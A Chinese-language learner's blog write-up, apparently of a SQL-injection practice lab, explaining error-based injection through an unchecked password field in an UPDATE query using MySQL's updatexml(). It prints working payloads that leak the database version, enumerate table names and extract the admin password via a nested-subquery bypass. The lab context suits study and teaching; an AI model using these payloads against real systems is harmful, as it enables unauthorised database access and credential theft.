0x01简介

百度翻译了一下 基于错误的更新查询 字符型

第一次遇到这种情况 那我们先看看源代码行吧

不懂函数的百度

$result = mysql_query($sql);//返回查询的数据的一个结果集,需要用php相应的mysql函数取值。比如mysql_fetch_array()这个函数。还有你说的前一节课用到的mysql_query(),这个函数是执行sql语句的,并不是取值。

$row = mysql_fetch_array($result)意思是从查询结果里面获取一行数据,这个语句的前面两行大概是:
$sql='select a,b,c from .....';
$result=mysql_query($sql);
那么,执行这个语句之后,$row['a']、$row['b']等变量就有查询数据的一条

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; 这句话是我自己的理解 这里的意思是在users列里面找到username字段对应的password并且更新它

这是别的理解

我们这里来看一下怎么处理usernm的

只截取15个字符

get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

stripslashes()

删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

那这里对useamane参数进行了 check 但是未对 passwrod进行检查  因此我们可以从password下手

接下来看下updatexml这个函数,一直网上都说的很模糊,都只是给的payload:and (updatexml(1,concat(0x5c,version(),0x5c)),1),这里只看得出来需要三个参数,但是参数是什么意思缺一无所知,我们只能通过help来查看

从UpdateXML(xml_target, xpath_expr, new_xml)看出

第一个参数是目标是针对于xml文档

第二参数是xpath的表达,这里可以看下xpath教程: http://www.w3school.com.cn/xpath/

第三个参数是将xpath表达式转换成什么,也就是替换查找到的符合条件的数据

以上看了下,表示还是有些懵逼。

那就来按照他的方式实例玩玩是怎么回事

是不是没看懂,为什么会这样,我把内容拿出来分析

2)同样的第二条UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2;可以看出将第一个参数的内容装换为了<e>fff</e>,但是由于查找方式是从第一个点开始查询,这里直接跳过了从第二开始查询,所以没有查询到,看下面的说明

这样一来使用//就可以随便查询了,不会考虑节点的位置问题,其他的就依次内推

那么分析完了接下来我们对password开始下手吧

0X01爱之初体验

爆破版本

uname=admin&passwd=' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit

0X02表名的获取

uname=admin&passwd=' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit

爆破列名同表名的方法

这里我们来看看字段名

uname=admin&passwd=' and (updatexml(1,concat(0x5c,(select password from users where username='admin'),0x5c),1))#submit=submit

按照道理这里不会错啊 为什么会报错呐?

百度

搜嘎原来如此 那我们如何绕过呐?????

网上学习的大牛的思路 在构造一个select语句

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin')aa),0x5c),1))#submit=submit

少就是多 慢就是快 慢慢学

最新文章

  1. Createjs学习一
  2. layer弹出层不居中解决方案
  3. BizTalk开发系列(十六) XML命名空间
  4. Linux系统常见的压缩与打包
  5. 【转】DataSource高级应用
  6. codevs1044四子连棋(Dfs)
  7. Bootstrap3 入门实战
  8. Android Camera 调用流程总结
  9. (1)ES6中let,const,对象冻结,跨模块常量,新增的全局对象介绍
  10. web框架之Django基础
  11. Django 2.0 学习
  12. Effective C++ 条款46
  13. iproute2应用
  14. KB/MB/GB。。单位换算
  15. 1126 Eulerian Path (25 分)
  16. PHP swoole process的使用
  17. lucene 初探 - 查询
  18. Mysql不改默认侦听回环地址而ssh通道连接的办法
  19. Guava包学习-Cache
  20. 关于matlab中定点数overflow的处理办法

热门文章

  1. 【一个蒟蒻的挣扎】单源最短路(Dijkstra)
  2. 小白学习django第二站-模版配置
  3. hadoop面试复习笔记(1)
  4. Linux学习--第十二天--服务、ps、top、pstree、kill、&amp;、jobs、fg、vmstat、dmesg、free、uptime、uname、crontab、ls
  5. python-文件的修改
  6. 制作jar包到本地仓库
  7. 2&gt;&amp;1的含义解释
  8. 将.py文件转换成.exe文件
  9. 22_2mybatis——CURD
  10. php:页面乱码的解决方法